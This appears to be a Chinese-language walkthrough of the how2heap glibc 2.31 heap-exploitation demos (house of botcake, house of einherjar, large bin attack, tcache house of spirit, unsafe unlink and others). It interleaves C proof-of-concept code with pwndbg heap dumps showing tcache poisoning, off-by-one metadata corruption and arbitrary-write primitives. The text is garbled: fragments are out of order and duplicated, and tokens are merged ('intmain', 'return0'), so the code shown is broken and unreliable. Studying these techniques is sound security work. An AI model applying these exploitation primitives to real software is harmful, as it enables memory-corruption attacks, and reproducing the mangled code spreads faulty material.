printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c);
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
include <stdio.h> #include<stdlib.h> #include<string.h> #include<assert.h>
constsize_t allocsize = 0x40;
intmain(){ setbuf(stdout, NULL);
printf( "\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n" );
char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); }
printf( "First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n" );
for (i = 0; i < 7; i++) { free(ptrs[i]); }
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
printf( "Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n" );
然后我们free a 再 free prev , 由于 prev 与 a 是相邻 chunk ,所以会触发合并,
1 2 3 4 5 6 7 8
In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_botcake.c 50 } 51puts("Step 2: free the victim chunk so it will be added to unsorted bin"); 52free(a); 53 54puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); ► 55free(prev); 56
然后我们要想办法把 chunk a 放入 tcache bin里,由于此时 tcache bins 是满的,所以我们先取一个出来, 然后再 free 一次 a
1 2 3 4 5 6 7 8 9 10 11 12
In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_botcake.c 53 54puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); 55free(prev); 56 57puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); ► 58malloc(0x100); 59 60free(a); 61 62 63
此时 a chunk 就会被放入 tcahcebins 里,同时 prev 可以控制 chunk a 的内容
64puts("Launch tcache poisoning"); 65puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); 66intptr_t *b = malloc(0x120); ► 67puts("We simply overwrite victim's fwd pointer"); 68 b[0x120/8-2] = (long)stack_var; 69
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n");
intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
puts("Preparing heap layout"); puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later."); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } puts("Allocating a chunk for later consolidation"); intptr_t *prev = malloc(0x100); puts("Allocating the victim chunk."); intptr_t *a = malloc(0x100); printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n"); malloc(0x10); puts("Now we are able to cause chunk overlapping"); puts("Step 1: fill up tcache list"); for(int i=0; i<7; i++){ free(x[i]); } puts("Step 2: free the victim chunk so it will be added to unsorted bin"); free(a); puts("Step 3: free the previous chunk and make it consolidate with the victim chunk."); free(prev); puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n"); malloc(0x100); free(a); puts("Launch tcache poisoning"); puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk"); intptr_t *b = malloc(0x120); puts("We simply overwrite victim's fwd pointer"); b[0x120/8-2] = (long)stack_var; puts("Now we can cash out the target chunk."); malloc(0x100); intptr_t *c = malloc(0x100); printf("The new chunk is at %p\n", c); assert(c==stack_var); printf("Got control on target/stack!\n\n"); puts("Note:"); puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim"); puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return0; }
4. house_of_einherjar
这里展示的是通过一字节溢出,取到任意地址的技术
首先,在堆上伪造一个 chunk
1 2 3 4 5 6 7 8 9 10 11 12 13
─────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────── In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_einherjar.c 35printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); 36intptr_t *a = malloc(0x38); 37 38 39printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); ► 40printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); 41 42 a[0] = 0; 43 a[1] = 0x60; 44 a[2] = (size_t) a; 45 a[3] = (size_t) a;
pwndbg> parseheap addr prev size status fd bk 0x5555555590000x00x290 Used None None 0x5555555592900x00x40 Used None None 0x5555555592d00x00x30 Used None None 0x5555555593000x00x100 Used None None pwndbg> p b $11 = (uint8_t *) 0x5555555592e0"" pwndbg> p c $12 = (uint8_t *) 0x555555559310"" pwndbg>
In file: /media/psf/Home/Downloads/how2heap/glibc_2.31/house_of_einherjar.c 71 72 73printf("\nc.size: %#lx\n", *c_size_ptr); 74printf("c.size is: (0x100) | prev_inuse = 0x101\n"); 75 ► 76printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); 77 b[real_b_size] = 0; 78printf("c.size: %#lx\n", *c_size_ptr); 79 80printf("It is easier if b.size is a multiple of 0x100 so you " 81"don't change the size of b, only its prev_inuse bit\n"); ─────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────── pwndbg> x/20gx b-0x10 0x5555555592d0: 0x00000000000000000x0000000000000031 0x5555555592e0: 0x00000000000000000x0000000000000000 0x5555555592f0: 0x00000000000000000x0000000000000000 0x555555559300: 0x00000000000000000x0000000000000101 0x555555559310: 0x00000000000000000x0000000000000000 0x555555559320: 0x00000000000000000x0000000000000000 0x555555559330: 0x00000000000000000x0000000000000000 0x555555559340: 0x00000000000000000x0000000000000000 0x555555559350: 0x00000000000000000x0000000000000000 0x555555559360: 0x00000000000000000x0000000000000000 pwndbg> chunkinfo c-0x10 ================================== Chunk info ================================== Status : Used Can't access memory prev_size : 0x0 size : 0x100 prev_inused : 1 is_mmap : 0 non_mainarea : 0 pwndbg>
那么当执行完之后, c chunk 的 prev_inused 位将被置零
1 2 3 4 5 6 7 8 9 10 11 12
pwndbg> chunkinfo c-0x10 ================================== Chunk info ================================== Status : Used Can't access memory prev_size : 0x0 size : 0x100 prev_inused : 0 is_mmap : 0 non_mainarea : 0 pwndbg>
这样会导致 chunk a 被认为是 free 的
1 2 3 4 5 6
pwndbg> parseheap addr prev size status fd bk 0x5555555590000x00x290 Used None None 0x5555555592900x00x40 Used None None 0x5555555592d00x00x30 Freed 0x00x0 0x5555555593000x00x100 Used None None
83 84printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " 85"it will consolidate with our fake chunk\n", sizeof(size_t)); 86size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); ► 87printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); 88 *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
129 130printf("Now we can cash out the target chunk.\n"); ► 131malloc(0x28); 132intptr_t *e = malloc(0x28); 133printf("\nThe new chunk is at %p\n", e);
printf("Welcome to House of Einherjar 2!\n"); printf("Tested on Ubuntu 20.04 64bit (glibc-2.31).\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("This file demonstrates a tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n");
intptr_t stack_var[4]; printf("\nThe address we want malloc() to return is %p.\n", (char *) &stack_var);
printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); intptr_t *a = malloc(0x38);
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("\nWe allocate 0x28 bytes for 'b'.\n" "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); uint8_t *b = (uint8_t *) malloc(0x28); printf("b: %p\n", b);
int real_b_size = malloc_usable_size(b); printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);
printf("\nc.size: %#lx\n", *c_size_ptr); printf("c.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); b[real_b_size] = 0; printf("c.size: %#lx\n", *c_size_ptr);
printf("It is easier if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n");
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); a[1] = fake_size;
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"); free(c); printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);
printf("\nNow we can call malloc() and it will begin in our fake chunk\n"); intptr_t *d = malloc(0x158); printf("Next malloc(0x158) is at %p\n", d);
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n"); uint8_t *pad = malloc(0x28); free(pad);
printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n"); free(b); printf("Now the tcache list has [ %p -> %p ].\n", b, pad);
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
以及
1 2
if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
导致传统的 large bin attack 没法使用
但是存在一个新的利用路径:
首先布置如下的 heap
1 2 3 4 5 6 7
pwndbg> parseheap addr prev size status fd bk 0x5555555590000x00x290 Used None None 0x5555555592900x00x430 Used None None 0x5555555596c00x00x20 Used None None 0x5555555596e00x00x420 Used None None 0x555555559b000x00x20 Used None None
65free(p2); ► 66printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); 67printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); 68printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2); ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> bins tcachebins empty fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x5555555596e0 —▸ 0x7ffff7fb0be0 (main_arena+96) ◂— 0x5555555596e0 smallbins empty largebins 0x400: 0x555555559290 —▸ 0x7ffff7fb0fd0 (main_arena+1104) ◂— 0x555555559290 pwndbg>
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); printf("====================================================================\n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);
pwndbg> parseheap addr prev size status fd bk 0x5555555590000x00x290 Used None None 0x5555555592900x00x80 Used None None 0x5555555593100x31313131313131310x500 Used None None 0x5555555598100x32323232323232320x80 Used None None
48printf("\nNow let's free the chunk p2\n"); ► 49free(p2); 50printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
88 89 ► 90 mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; 91printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); 92printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n"); 93 94
102 Because of this added restriction, the main goal is to get the memory back from the system 103 to have two pointers assigned to the same location. 104 */ 105 ► 106free(mmap_chunk_3); 107 108
135 ► 136printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); 137printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); 138printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); ───────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────── pwndbg> p/x mmap_chunk_2[0] $14 = 0x1122334455667788
8. tcache_house_of_spirit
首先 malloc 一个 chunk
1 2 3 4 5 6 7 8 9
12printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 14printf("Ok. Let's start with the example!.\n\n"); 15 16 ► 17printf("Calling malloc() once so that it sets up its memory.\n"); 18malloc(1); 19 20printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
此时在栈上我们有一个可控目标
1 2 3
20printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21unsignedlonglong *a; 22unsignedlonglong fake_chunks[10];
将这个可控目标伪造成一个一个chunk ,修改其大小
1
► 28 fake_chunks[1] = 0x40;
free 这个伪造的 chunk ,
1 2 3 4 5
► 34 a = &fake_chunks[2]; 35 36printf("Freeing the overwritten pointer.\n"); 37free(a); 38
36for(int i = 3;i < 9;i++){ 37free(chunk_lis[i]); 38 } 39 ► 40printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); 41 42 43free(chunk_lis[1]);
15printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n"); 16 17int malloc_size = 0x420; 18int header_size = 2; 19 ► 20printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n"); 21 22 chunk0_ptr = (uint64_t*) malloc(malloc_size); 23uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
29 chunk0_ptr[1] = chunk0_ptr[-1] - 0x10; 30printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n"); ► 31 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); 32printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n"); 33printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n"); 34 chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
In file: /pwn/unsafe_unlink.c 42 chunk1_hdr[0] = malloc_size; 43printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]); 44printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n"); 45 chunk1_hdr[1] &= ~1; 46 ► 47printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n"); $13 = 0x430 pwndbg> chunkinfo 0x56540553d6c0 ================================== Chunk info ================================== Status : Used Freeable : True prev_size : 0x420 size : 0x430 prev_inused : 0 is_mmap : 0 non_mainarea : 0 fd_nextsize : 0x0 bk_nextsize : 0x0